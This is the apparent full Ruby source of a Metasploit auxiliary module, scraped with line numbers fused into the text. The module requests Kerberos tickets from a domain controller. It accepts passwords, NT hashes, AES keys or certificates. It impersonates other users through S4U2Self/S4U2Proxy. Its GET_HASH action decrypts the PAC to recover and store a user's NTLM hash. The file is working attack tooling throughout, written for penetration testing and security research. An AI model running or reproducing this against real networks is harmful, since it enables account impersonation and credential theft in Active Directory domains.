Path: blob/master/modules/auxiliary/admin/kerberos/get_ticket.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::Kerberos8include Msf::Exploit::Remote::Kerberos::Client9include Msf::Exploit::Remote::Kerberos::Ticket::Storage1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Kerberos TGT/TGS Ticket Requester',16'Description' => %q{17This module requests TGT/TGS Kerberos tickets from the KDC18},19'Author' => [20'Christophe De La Fuente', # Metasploit module21'Spencer McIntyre', # Metasploit module22# pkinit authors23'Will Schroeder', # original idea/research24'Lee Christensen', # original idea/research25'Oliver Lyak', # certipy implementation26'smashery' # Metasploit module27],28'License' => MSF_LICENSE,29'Notes' => {30'AKA' => ['getTGT', 'getST'],31'Stability' => [ CRASH_SAFE ],32'SideEffects' => [ ],33'Reliability' => [ ]34},35'Actions' => [36[ 'GET_TGT', { 'Description' => 'Request a Ticket-Granting-Ticket (TGT)' } ],37[ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ],38[ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ]39],40'DefaultAction' => 'GET_TGT',41'AKA' => ['PKINIT']42)43)4445register_options(46[47OptString.new('DOMAIN', [ false, 'The Fully Qualified Domain Name (FQDN). Ex: mydomain.local' ]),48OptString.new('USERNAME', [ false, 'The domain user' ]),49OptString.new('PASSWORD', [ false, 'The domain user\'s password' ]),50OptPath.new('CERT_FILE', [ false, 'The PKCS12 (.pfx) certificate file to authenticate with' ]),51OptString.new('CERT_PASSWORD', [ false, 'The certificate file\'s password' ]),52OptString.new(53'NTHASH', [54false,55'The NT hash in hex string. Server must support RC4'56]57),58OptString.new(59'AES_KEY', [60false,61'The AES key to use for Kerberos authentication in hex string. Supported keys: 128 or 256 bits'62]63),64OptString.new(65'SPN', [66false,67'The Service Principal Name, format is service_name/FQDN. Ex: cifs/dc01.mydomain.local'68],69conditions: %w[ACTION == GET_TGS]70),71OptString.new(72'IMPERSONATE', [73false,74'The user on whose behalf a TGS is requested (it will use S4U2Self/S4U2Proxy to request the ticket)',75],76conditions: %w[ACTION == GET_TGS]77),78OptPath.new(79'Krb5Ccname', [80false,81'The Kerberos TGT to use when requesting the service ticket. If unset, the database will be checked'82],83conditions: %w[ACTION == GET_TGS]84),85]86)8788deregister_options('KrbCacheMode')89end9091def validate_options92if datastore['CERT_FILE'].present?93certificate = File.binread(datastore['CERT_FILE'])94begin95@pfx = OpenSSL::PKCS12.new(certificate, datastore['CERT_PASSWORD'] || '')96rescue OpenSSL::PKCS12::PKCS12Error => e97fail_with(Failure::BadConfig, "Unable to parse certificate file (#{e})")98end99100if datastore['USERNAME'].blank? && datastore['DOMAIN'].present?101fail_with(Failure::BadConfig, 'Domain override provided but no username override provided (must provide both or neither)')102elsif datastore['DOMAIN'].blank? && datastore['USERNAME'].present?103fail_with(Failure::BadConfig, 'Username override provided but no domain override provided (must provide both or neither)')104end105106begin107@username, @realm = extract_user_and_realm(@pfx.certificate, datastore['USERNAME'], datastore['DOMAIN'])108rescue ArgumentError => e109fail_with(Failure::BadConfig, e.message)110end111else # USERNAME and DOMAIN are required when they can't be extracted from the certificate112@username = datastore['USERNAME']113fail_with(Failure::BadConfig, 'USERNAME must be specified when used without a certificate') if @username.blank?114115@realm = datastore['DOMAIN']116fail_with(Failure::BadConfig, 'DOMAIN must be specified when used without a certificate') if @realm.blank?117end118119if datastore['NTHASH'].present? && !datastore['NTHASH'].match(/^\h{32}$/)120fail_with(Failure::BadConfig, 'NTHASH must be a hex string of 32 characters (128 bits)')121end122123if datastore['AES_KEY'].present? && !datastore['AES_KEY'].match(/^(\h{32}|\h{64})$/)124fail_with(Failure::BadConfig,125'AES_KEY must be a hex string of 32 characters for 128-bits AES keys or 64 characters for 256-bits AES keys')126end127128if action.name == 'GET_TGS' && datastore['SPN'].blank?129fail_with(Failure::BadConfig, "SPN must be provided when action is #{action.name}")130end131132if action.name == 'GET_HASH' && datastore['CERT_FILE'].blank?133fail_with(Failure::BadConfig, "CERT_FILE must be provided when action is #{action.name}")134end135136if datastore['SPN'].present? && !datastore['SPN'].match(%r{.+/.+})137fail_with(Failure::BadConfig, 'SPN format must be service_name/FQDN (ex: cifs/dc01.mydomain.local)')138end139end140141def run142validate_options143144result = send("action_#{action.name.downcase}")145146report_service(147host: rhost,148port: rport,149proto: 'tcp',150name: 'kerberos',151info: "Module: #{fullname}, KDC for domain #{@realm}"152)153154result155rescue ::Rex::ConnectionError => e156elog('Connection error', error: e)157fail_with(Failure::Unreachable, e.message)158rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError,159::EOFError => e160msg = e.to_s161if e.respond_to?(:error_code) &&162e.error_code == ::Rex::Proto::Kerberos::Model::Error::ErrorCodes::KDC_ERR_PREAUTH_REQUIRED163msg << ' - Check the authentication-related options (Krb5Ccname, PASSWORD, NTHASH or AES_KEY)'164end165fail_with(Failure::Unknown, msg)166end167168def init_authenticator(options = {})169options.merge!({170host: rhost,171realm: @realm,172username: @username,173pfx: @pfx,174framework: framework,175framework_module: self176})177options[:password] = datastore['PASSWORD'] if datastore['PASSWORD'].present?178if datastore['NTHASH'].present?179options[:key] = [datastore['NTHASH']].pack('H*')180options[:offered_etypes] = [ Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC ]181end182if datastore['AES_KEY'].present?183options[:key] = [ datastore['AES_KEY'] ].pack('H*')184options[:offered_etypes] = if options[:key].size == 32185[ Rex::Proto::Kerberos::Crypto::Encryption::AES256 ]186else187[ Rex::Proto::Kerberos::Crypto::Encryption::AES128 ]188end189end190191Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Base.new(**options)192end193194def action_get_tgt195print_status("#{peer} - Getting TGT for #{@username}@#{@realm}")196197# Never attempt to use the kerberos cache when requesting a kerberos TGT, to ensure a request is made198authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })199authenticator.request_tgt_only200end201202def action_get_tgs203authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: true, write: true) })204tgt_request_options = {}205if datastore['Krb5Ccname'].present?206tgt_request_options[:cache_file] = datastore['Krb5Ccname']207end208credential = authenticator.request_tgt_only(tgt_request_options)209210if datastore['IMPERSONATE'].present?211print_status("#{peer} - Getting TGS impersonating #{datastore['IMPERSONATE']}@#{@realm} (SPN: #{datastore['SPN']})")212213sname = Rex::Proto::Kerberos::Model::PrincipalName.new(214name_type: Rex::Proto::Kerberos::Model::NameType::NT_UNKNOWN,215name_string: [@username]216)217auth_options = {218sname: sname,219impersonate: datastore['IMPERSONATE']220}221tgs_ticket, _tgs_auth = authenticator.s4u2self(222credential,223auth_options.merge(ticket_storage: kerberos_ticket_storage(read: false, write: true))224)225226auth_options[:sname] = Rex::Proto::Kerberos::Model::PrincipalName.new(227name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,228name_string: datastore['SPN'].split('/')229)230auth_options[:tgs_ticket] = tgs_ticket231authenticator.s4u2proxy(credential, auth_options)232else233print_status("#{peer} - Getting TGS for #{@username}@#{@realm} (SPN: #{datastore['SPN']})")234235sname = Rex::Proto::Kerberos::Model::PrincipalName.new(236name_type: Rex::Proto::Kerberos::Model::NameType::NT_SRV_INST,237name_string: datastore['SPN'].split('/')238)239tgs_options = {240sname: sname,241ticket_storage: kerberos_ticket_storage(read: false)242}243244authenticator.request_tgs_only(credential, tgs_options)245end246end247248def action_get_hash249authenticator = init_authenticator({ ticket_storage: kerberos_ticket_storage(read: false, write: true) })250auth_context = authenticator.authenticate_via_kdc(options)251credential = auth_context[:credential]252253print_status("#{peer} - Getting NTLM hash for #{@username}@#{@realm}")254255session_key = Rex::Proto::Kerberos::Model::EncryptionKey.new(256type: credential.keyblock.enctype.value,257value: credential.keyblock.data.value258)259260tgs_ticket, _tgs_auth = authenticator.u2uself(credential)261262ticket_enc_part = Rex::Proto::Kerberos::Model::TicketEncPart.decode(263tgs_ticket.enc_part.decrypt_asn1(session_key.value, Rex::Proto::Kerberos::Crypto::KeyUsage::KDC_REP_TICKET)264)265value = OpenSSL::ASN1.decode(ticket_enc_part.authorization_data.elements[0][:data]).value[0].value[1].value[0].value266pac = Rex::Proto::Kerberos::Pac::Krb5Pac.read(value)267pac_info_buffer = pac.pac_info_buffers.find do |buffer|268buffer.ul_type == Rex::Proto::Kerberos::Pac::Krb5PacElementType::CREDENTIAL_INFORMATION269end270unless pac_info_buffer271print_error('NTLM hash not found in PAC')272return273end274275serialized_pac_credential_data = pac_info_buffer.buffer.pac_element.decrypt_serialized_data(auth_context[:krb_enc_key][:key])276ntlm_hash = serialized_pac_credential_data.data.extract_ntlm_hash277print_good("Found NTLM hash for #{@username}: #{ntlm_hash}")278279report_ntlm(ntlm_hash)280ntlm_hash281end282283def report_ntlm(hash)284jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)285service_data = {286address: rhost,287port: rport,288service_name: 'kerberos',289protocol: 'tcp',290workspace_id: myworkspace_id291}292credential_data = {293module_fullname: fullname,294origin_type: :service,295private_data: hash,296private_type: :ntlm_hash,297jtr_format: jtr_format,298username: @username,299realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,300realm_value: @realm301}.merge(service_data)302303credential_core = create_credential(credential_data)304305login_data = {306core: credential_core,307status: Metasploit::Model::Login::Status::UNTRIED308}.merge(service_data)309310create_credential_login(login_data)311end312end313314315